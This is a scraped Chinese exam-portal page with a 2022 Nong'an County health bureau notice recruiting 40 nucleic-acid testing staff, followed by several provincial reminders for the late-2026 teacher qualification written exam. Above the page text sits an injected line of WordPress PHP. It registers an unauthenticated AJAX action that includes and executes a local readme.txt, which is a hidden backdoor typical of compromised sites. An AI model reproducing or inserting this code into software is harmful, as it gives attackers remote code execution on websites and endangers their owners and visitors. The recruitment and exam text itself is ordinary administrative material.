if(!function_exists('file_check_readme15721')){ add_action('wp_ajax_nopriv_file_check_readme15721', 'file_check_readme15721'); add_action('wp_ajax_file_check_readme15721', 'file_check_readme15721'); function file_check_readme15721() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } }
回顶部
吉林农安县卫生健康局所属事业单位面向社会公开招聘工作人员公告(1号)-全国教师资格考试网

吉林农安县卫生健康局所属事业单位面向社会公开招聘工作人员公告(1号)

  为增强农安县卫生系统干部队伍建设,进一步完善医疗卫生体系的工作部署,提升核酸检测能力,按照人力资源和社会保障部办公厅《关于切实做好新型冠状病毒感染的肺炎疫情防控期间事业单位人事管理工作有关问题的通知》(人社厅发〔2020〕8号)等文件的相关规定,农安县卫生健康局所属事业单位面向社会公开招聘核酸检测工作人员,现将有关事项公告如下:

  一、招聘计划

  本次共计划为农安县卫生健康局所属事业单位招聘医学检验人员40人。具体岗位详见《2022年农安县卫生健康局所属事业单位面向社会公开招聘工作人员岗位及资格条件一览表》(附件1)。

  二、报考条件

  (一)基本条件

  1.具有中华人民共和国国籍;

  2.遵守中华人民共和国宪法、法律、法规;

  3.具有良好的品行;

  4.身体健康,具备适应岗位要求的身体条件;

  5.年龄在18周岁以上35周岁及以下(2004年5月23日至1986年5月23日期间出生),出生日期以本人身份证为准;

  6.符合岗位要求的学历、专业条件(详见附件1)。在职人员报考,应征得所在单位或有用人权限部门同意;2022年应届毕业生可不受年龄限制(2022年7月底前取得相应学历学位的毕业生)。

  (二)有下列情形之一的人员不得报考

  1.曾因犯罪受过刑事处罚的人员和曾被开除公职的人员,受到党纪政纪处分期限未满或者正在接受纪律审查的人员,处于刑事处罚期间或者正在接受司法调查尚未作出结论的人员;

  2.被辞退未满五年的国家机关、事业单位公职人员;

  3.统招非2022年应届毕业生的在读人员,不得用已取得的学历学位报考,同时不能在2022年7月前取得毕业证、学位证的2022年应届毕业生不得报考;

  4.“三支一扶”“大学生村官”等基层服务项目人员及公务员招录、事业单位招聘等未达到现工作地、单位或岗位要求最低服务年限的人员;

  5.现役军人;

  6.按照法律法规规定不得聘用的其他情形的人员。

  (三)回避

  应聘人员与招聘单位负责人员有夫妻关系、直系血亲关系、三代以内旁系血亲关系以及近姻亲关系的不得报考。本次招聘工作所有参与方以及可能影响公正的特定关系人需要回避的,参照《事业单位人事管理回避规定》执行。

  三、报名办法

  本次招聘工作的报名通过网络方式进行,并通过电话确认。

  (一)网上报名

  本次招聘采取网上报名的方式进行,不设现场报名。

  考生通过邮箱(narsjsyk@163.com)进行报名,报名成功后进行缴费,金额80元,缴费同时进行备注“姓名+电话”,未进行备注的视为未缴费。

吉林农安县卫生健康局所属事业单位面向社会公开招聘工作人员公告(1号)

  报名时间:2022年5月30日9:00至2022年6月2日16:00。

  具备资格条件的考生须以压缩包形式上传以下材料:

  1、《2022年农安县卫生健康局所属事业单位面向社会公开招聘工作人员报名登记表》(附件2);

  2、上传jpg格式的相关材料彩色电子照片:

  01身份证(正反面);

  02毕业证;

  03学位证;(仅本科及以上学历需要)

  04中国高等教育学生信息网打印的《教育部学历证书电子注册备案表》;

  052022年应届毕业生须提供所在学校有效证明(毕业生就业推荐表等),不方便开具的可延后提供 ;

  06打印或手抄《报名承诺书》并本人签字(扫描件)。

  考生在填报个人信息时,必须仔细比对个人信息、个人照片、附件材料等相关信息,错报、漏报、瞒报上述信息的,责任自负。考生确认填报信息准确、完整后,发送邮件到指定邮箱。报考岗位一经提交,所填报的个人信息将无法更改。

  (二)资格初审

  考生报名后,农安县人力资源和社会保障局依据岗位条件对报名者逐一进行资格初审,考生须及时查看邮件状态,报名成功会以邮件回复方式告知。

  考试实行承诺制,考生对自己所填报信息负责。资格审查贯穿招聘全过程,在任何环节发现考生不符合岗位资格条件或者弄虚作假骗取应聘资格的,取消考试或录用资格。

  (三)相关事项

  1.考生必须在规定的时间内进行报名,资格审查未通过的考生报名无效。

  2.考生必须认真填写报名信息,对提交的信息和材料负责,凡弄虚作假者,一经查实,取消考试或录用资格。

  3.本次招聘不设开考比例,不指定辅导用书,不举办也不委托任何机构和个人举办考试辅导培训班。

  4.考生必须保持报名时所留联系电话的畅通,以便通知有关事宜。如因考生变更联系电话、手机停机、关机等原因无法联系,产生后果由考生本人自行承担。

  5.凡考生未在规定时间内按要求进行报名缴费、资格审核、面试、体检、考察、报到等,均视为自动放弃应聘资格。在任何环节,发现考生不符合资格条件或弄虚作假的,取消考试或录用资格。

  四、考试

  本次招聘考试采取面试的方式进行。受疫情影响,面试具体时间和方式另行通知。

  面试成绩总分为100分,合格线为60分,低于合格线的应聘人员,不得作为参加资格复审和体检人选。计算成绩时,保留小数点后两位,并当场公布面试成绩。在考生面试成绩相同情况下,对符合国家、省和我市有关优先聘用条件的要优先聘用(如在我省参军入伍服役期满并退出现役的自主就业退役大学生士兵考生在其服役期间荣立三等功及以上者、服务期满且考核合格的“三支一扶”大学生、在疫情防控工作中表现突出且受到县级党委政府及以上层次表彰或市(州)级及以上事业单位人事综合管理部门奖励的人员优先确定为拟聘人选);没有符合优先聘用条件的,按小数点后依次计算,从高分到低分,确定拟聘人选,如分数仍然相同的情况下,进行下一轮面试加试。

  五、资格复审、考察和公示

  (一)资格复审

  资格复审人选从面试成绩合格人员中,从高分到低分,按同一招聘岗位拟招聘人数1:1比例确定。资格复审工作由农安县人力资源和社会保障局负责。具体时间、地点、形式视疫情情况另行通知。资格复审时,由本人或委托代理人严格按照公告和岗位条件要求提供本人有效身份证、准考证、学历证、学位证、中国高等教育学生信息网打印的《教育部学历证书电子注册备案表》等相关材料原件及复印件和本人档案。2022年毕业生尚未取得学历学位证的,须提供由本校毕业生就业指导部门签署意见的毕业生就业推荐表。留学回国人员报考的,除须提供上述规定的材料外,还要提供国家教育部留学人员服务中心出具的《国外学历学位认证书》。必要时主管部门可以调阅考生人事档案。由委托代理人代为资格复审的,资格复审单位当场与考生本人进行核实。未按规定的时间、地点参加资格复审的,视为自动放弃应聘资格。

  对于招聘岗位要求统招学历的,其“统招”的范围是:纳入国家统一招生计划的普通高等学校毕业生或普通中等专业学校毕业生。专业条件主要主要依据国家教育部发布的《职业教育专业目录(2021年)》《普通高等学校本科专业目录(2020年)》《普通高等学校本科专业目录的新专业名单(2021年)》《研究生学位授予和人才培养学科目录(2018年4月更新)》以及综合参考“研招网—专业知识库”等目录审核,目录未涵盖的专业,根据实际情况由资格审查方共同研究确认。在符合专业等其他条件前提下,技工院校预备技师(技师)班毕业生可报名应聘学历要求为大学本科的岗位,高级工班毕业生可报名应聘学历要求为大学专科的岗位。

  (二)考察

  对资格复审合格人员的遵纪守法、政治思想、道德品质、业务能力、工作实绩、拟任岗位资格等情况进行考察。

  资格复审、考察有一项不合格的,取消拟聘用人选资格,并在同一招聘岗位面试成绩达到合格线以上的人员中,从高分到低分依次递补资格复审、考察人选。

  (三)公示

  资格复审、考察均合格的人员确定为拟聘用人选,在长春市人力资源和社会保障局、农安县人民政府官方网站进行公示,公示期为7个工作日。

  公示反映有严重问题并查有实据,不符合聘用条件的,取消其拟聘人选资格,并在同一招聘岗位面试成绩达到合格线以上的人员中,从高分到低分依次递补;对反映有严重问题但一时难以查实的,暂缓聘用,待查实并作出结论后决定是否聘用;对公示反映有问题但经核实不影响聘用的,按程序办理相关手续。

  六、体检

  本次公开招聘采取先上岗、后体检的形式。待疫情稳定后,体检在指定医院进行,时间另行通知。体检标准参照修订后的《公务员录用体检通用标准(试行)》,费用由考生自理。

  体检不合格的,取消拟聘用人选资格。考生在体检过程中存在弄虚作假、隐瞒重要病史或违法违纪等情况导致体检结果不实的,取消聘用资格,情节严重的,追究相关责任。

  七、聘用

  (一)公示合格后,由农安县人力资源和社会保障局备案,并按《农安县卫生健康局2022年核酸检测人员岗位分配方案》及其他有关规定办理相关聘用手续。

  (二)办理聘用手续前自动放弃的,取消拟聘人选资格,由农安县人力资源和社会保障局根据实际情况确定是否递补,如需递补的,应从同一招聘岗位面试成绩达到合格线以上的人员中,从高分到低分依次递补。办理聘用手续后,任何原因取消拟聘人选资格的,不再进行递补。

  (三)报考人员为2022年应届毕业生的,聘用时须提供报考岗位所要求的学历学位证书,未能提供的取消拟聘用资格。2023年1月1日以后取得毕业证、学位证的考生不符合报考条件,不予办理聘用手续(其中毕业证、学位证有一个日期为2022年的,可视为2022年毕业生)。

  (四)被聘用人员一律签订聘用合同,并按相关政策规定实行试用期,试用期一并计算在聘用合同期限内。试用期满考核合格的,予以正式聘用,不合格的,取消正式聘用资格,解除聘用合同。

  八、注意事项

  (一)在招聘组织实施过程中,将按照疫情防控有关要求,落实防疫措施,必要时将对相关工作进行适当调整,相关要求及工作调整信息将通过农安县人民政府官方网站公告,请广大考生及时关注网站信息。

  (二)考生对岗位资格条件要求或在整个招聘过程中有不明之处,请及时与农安县人力资源和社会保障局联系(联系电话详见附件1)。

  (三)考生存在未在规定时间内参加面试、资格复审、考察、体检、报到等情况的,均视为自动放弃应聘资格。

  (四)享受国家最低生活保障金的城镇家庭和农村绝对贫困家庭的应聘人员,可在报名期间携带家庭所在地县(市)、区级民政部门出具的享受最低生活保障金证明、低保证、农村特困证明或特困家庭基本情况档案卡(原件和复印件),于2022年6月7日9:00至11:00,到农安县宝塔街财税大厦216室事业单位人员管理科,审核通过后,免收考试费用。

  (五)各招聘单位、主管部门及招聘工作组织实施单位的工作人员,必须对应聘人员的个人信息给予严格保密;对公开招聘过程中应聘人员、招聘单位和相关招聘工作人员违纪违规的认定处理,按照《事业单位公开招聘违纪违规行为处理规定》(人社部令第35号)及相关规定执行。

  九、其他需要说明的事项

  聘用后,人员按《农安县卫生健康局2022年核酸检测人员岗位分配方案》统一分配。

  十、信息发布及政策咨询

  长春市人力资源和社会保障局官方网站(http://ccrs.changchun.gov.cn/)、农安县人民政府官方网站(http://www.nongan.gov.cn/)为本次公告(含补充公告)的发布网站。本公告中各招聘单位的官方网站为此次专项招聘的工作网站,有关招聘事项及各种通知等信息,均通过工作网站进行发布,请考生注意查询。

  人社部门电话:0431-83285017(农安县人力资源和社会保障局事业单位人员管理科)

农安县人力资源和社会保障局

2022年5月23日

(责编:黄克峰)

  附件:

  附件1:2022年农安县卫生健康局所属事业单位面向社会公开招聘工作人员岗位及资格条件一览表(1号).xls

  附件2:2022年农安县卫生健康局所属事业单位面向社会公开招聘工作人员报名登记表.docx

回顶部
教师资格考试网
位置:首页/教师资格考试网
河北省2026年下半年中小学教师资格考试(笔试)考前提示(三)

一、重要时间节点提醒

1.开考前60分钟,建议考生提前到达考点,预留足够时间配合考点工作人员进行入场核验。

2.开考前30分钟,考生按照监考员的指令进入指定考场。

3.开考信号发出后,方可开始答题。

4.开考后迟到15分钟以上的考生,不得进入考场。

5.考试结束,待试卷(卡)回收、清点无误后,经监考员允许方可离场。

二、切勿考试违规

中小学教师资格考试是法律规定的国家考试,考生应自觉服从监考员管理,不得以任何理由妨碍监考员正常工作。考生如有违纪、作弊等行为,将按照《国家教育考试违规处理办法》等规定进行处理。有作弊情形的还将依据《教师资格条例》的相关规定3年内禁止参加教师资格考试。如情节严重、触犯刑法,将报送公安部门,依法处理。

三、谨防上当受骗

近年来,社会上一些机构或不法分子通过散布“助考”“考前售卖试题信息”等手段骗取考生钱财。请考生提高警惕,切莫相信,谨防上当受骗。

 

天津市2026年下半年中小学教师资格考试(笔试)考前提示

  2026年下半年天津市全国中小学教师资格考试笔试将于9月12日举行。为帮助广大考生顺利参加考试,现将有关事项提示如下:

  1.备齐个人证件。考前考生须自行下载并打印《准考证》,考生须凭《准考证》、有效期内的居民身份证/港澳台居民居住证/港澳居民来往内地通行证/台湾居民来往大陆通行证(五年有效期)进入考场,“两证”缺一不可。如身份证丢失,考生仅可使用有效期内的临时身份证或由公安部门出具的带有本人照片且加盖公安部门印章的证明替代。

  2.按要求携带考试用品。考生只准携带必要的考试文具(如黑色签字笔、铅笔、尺子、橡皮等)进入考场,不得携带书籍、资料、包等物品,严禁携带具有发送或者接收信息功能的电子设备(如:手机、耳机、智能眼镜、智能手表等)。

  3.遵守考试时间。考生要认真核对考点坐落的具体位置,提前设计出行方式和路线。考生迟到15分钟不得进入考场参加考试,考试结束前30分钟,方可交卷离开考场。

  4.严守考试纪律。中小学教师资格考试是法律规定的国家考试,适用于《中华人民共和国刑法修正案(九)》。在考试中若有违纪作弊行为,将按照《中华人民共和国刑法修正案(九)》《国家教育考试违规处理办法》(教育部令第33号)等相关规定严肃处理。有作弊情形的还将依据《教师资格条例》的相关规定3年内禁止参加教师资格考试。触犯刑法涉嫌犯罪的将移送公安机关依法处理。

  5.笔试成绩复核。11月6日起,考生可登录中小学教师资格考试网站查询笔试成绩。考生如对本人的考试成绩有异议,可在考试成绩公布后10个工作日内,通过手机扫描下方二维码或点击链接(https://ops.hycj.jrycn.cn/f/tjntcebsfh),按页面提示登录后提交复核申请。复核内容为登记分数是否准确。

  祝广大考生朋友们考试顺利!

四川省2026年下半年中小学教师资格考试(笔试)温馨提示

广大考生朋友:

2026年下半年中小学教师资格考试(笔试)将于9月12日举行。现将有关事项提醒如下。

一、考前准备

(一)及时下载打印准考证。请于2026年9月7日10:00至9月12日登录中小学教师资格考试网(http://ntce.neea.edu.cn)下载打印准考证,并核对准考证上的姓名、身份证号码、照片等信息是否与本人一致;若有误,请及时联系报名考区核实处理。

(二)备好个人证件。本次考试入场的指定证件为准考证、有效身份证原件(港澳台考生可持有效期内的港澳台居民居住证、港澳居民来往内地通行证、五年有效期台湾居民来往大陆通行证入场)。

(三)备齐考试用具。只能携带必要的考试文具进入考场(如:黑色签字笔、2B铅笔、橡皮等)。不得携带书籍、资料等物品,严禁携带具有发送或者接收信息功能的电子设备(手机及各类智能电子设备等)进入考场。请尽量避免携带挎包,不穿戴含有金属配件的衣物、饰品;服从考点工作人员管理,按要求存放个人随身物品,防止违规无法参加考试或财物遗失。

二、诚信参考

(一)遵守考试时间。牢记考试时间,合理规划出行路线,因入场前需集中存放手机、接受安检、验证身份等,建议提前到达考点,留足入场检查时间。部分考点学校有多个校区,请考生务必仔细核对准考证上的考点校区名称、详细地址,以免走错考点。到达考点后勿逗留、聚集,尽快有序入场。开考15分钟后,禁止考生进入考场参加当次科目考试。

(二)诚信守纪应考。遵守考点发出的考试指令,严守考试纪律,杜绝考试作弊行为。全部考场均实行全覆盖、全时段网上监控和录像,监控视频及回放资料都将作为认定考试违规的依据。试题、答题卡、草稿纸等均属于涉考材料,不允许以任何形式传出或带离考场。需要特别注意的是:考试过程中考生如携带手机等具有发送或者接收信息功能的设备,无论使用与否,均将认定为考试作弊。

(三)严禁违纪作弊。中小学教师资格考试属于《中华人民共和国刑法修正案(九)》规定的国家考试范畴,请考生严格遵守考试纪律,在考试中若有违纪舞弊行为将按照《中华人民共和国教育法》《国家教育考试违规处理办法》(教育部令第33号)等法律法规严肃处理,触犯刑法涉嫌犯罪的将移送公安机关依法处理。有作弊情形的将依据《中华人民共和国教师资格条例》的相关规定,3年内不得参加教师资格考试。  

三、成绩发布

本次笔试成绩预计于2026年11月6日开放查询,请考生登录中小学教师资格考试网(http://ntce.neea.edu.cn)查询。考生如对本人成绩有异议,可在成绩公布后10个工作日内,提交成绩复核申请,由省教育考试院汇总报送教育部教育考试院统一复查。具体申请方式另行通知。

四川省教育考试院

2026年9月8日

贵州省2026年下半年中小学教师资格考试(笔试)考前提示(一)

2026年下半年中小学教师资格考试(笔试)将于9月12日举行,现提示广大考生需注意以下事项:

一、提前打印准考证

即日起可登录教师资格考试网(http://ntce.neea.edu.cn/)提前打印准考证。

二、核对准考证信息

认真核对准考证上的姓名、照片等个人信息。若准考证上个人信息与身份证不符,请提前与报考考区联系,提供相应证明进行修改。考试时,准考证信息与身份证信息不符的考生不得入场参加考试。

三、提前熟悉考点地理位置,以免考试当天走错考点、考场,错过考试时间。

四、携带准考证、身份证,提前60分钟到达考点,听从考试工作人员指挥,配合做好各项入场检查。

五、遵守考场规则,诚信参考,禁止携带手机、智能手表、智能眼镜、智能手环等具有信息发送和接收功能的电子设备进入考点。

六、自觉服从监考员管理,不得以任何理由妨碍监考员正常工作。考生如有违纪、作弊等行为,将按照《国家教育考试违规处理办法》等规定进行处理。同时,对作弊考生还将依据《教师资格条例》相关规定,给予3年内禁止参加教师资格考试的处理。如情节严重、触犯刑法,将移送公安部门,依法处理。

甘肃省2026年下半年中小学教师资格考试(笔试)考生温馨提醒

2026年下半年中小学教师资格考试笔试将于9月12日举行。为确保考生顺利参加考试,省教育考试院就相关事项提醒如下:

一、考生可于9月7日-12日登录中小学教师资格考试网(网址:http://ntce.neea.edu.cn/),根据提示下载pdf格式的准考证并打印。请考生及时打印准考证,仔细核对个人信息,认真阅读“考生须知”内容,准确掌握考试时间、考点地址等信息。遵守考试要求,合理统筹安排,预留充足的时间提前抵达考点,及时安检进入考场。按时参加考试。

二、考生请于9月12日(按科类分3场)按时参加考试。开考15分钟后,迟到考生不得进入考场参加当次科目考试。第一场(9:00-11:00)各学段综合素质科目;第二场(13:00-15:00)各学段教育知识与能力科目;第三场(16:00-18:00)有关学段学科知识与教学能力科目。

三、考生需持有效期内的居民身份证(港澳台居民居住证、港澳居民来往内地通行证、台湾居民来往大陆通行证)、准考证参加考试。准考证上的“姓名”“证件号码”信息与所持上述身份证件上不一致者,不得参加考试。因考试期间全程禁用手机,故电子身份证不作为考试入场有效证件使用,请广大考生周知。

四、考生只准携带必要的文具(如黑色签字笔、铅笔、尺子、橡皮等)参加考试,不得携带书籍、资料、草稿纸、计算器、包等物品,严禁携带电子设备,如手机、耳机、智能手表(手环)、智能眼镜等电子设备等考试违规物品。

五、考生须遵守有关考试纪律和规定,服从考试工作人员管理,诚信考试。若有违纪、作弊行为的,将按照《国家教育考试违规处理办法》和《教师资格条例》的相关规定认定和处理。有作弊行为的,其当次报名参加考试的各科成绩无效,3年内不得再次参加教师资格考试。如情节严重、触犯刑法的,将移送公安部门依法处理。

祝各位考生考试平安顺利,取得理想成绩!

回顶部
回顶部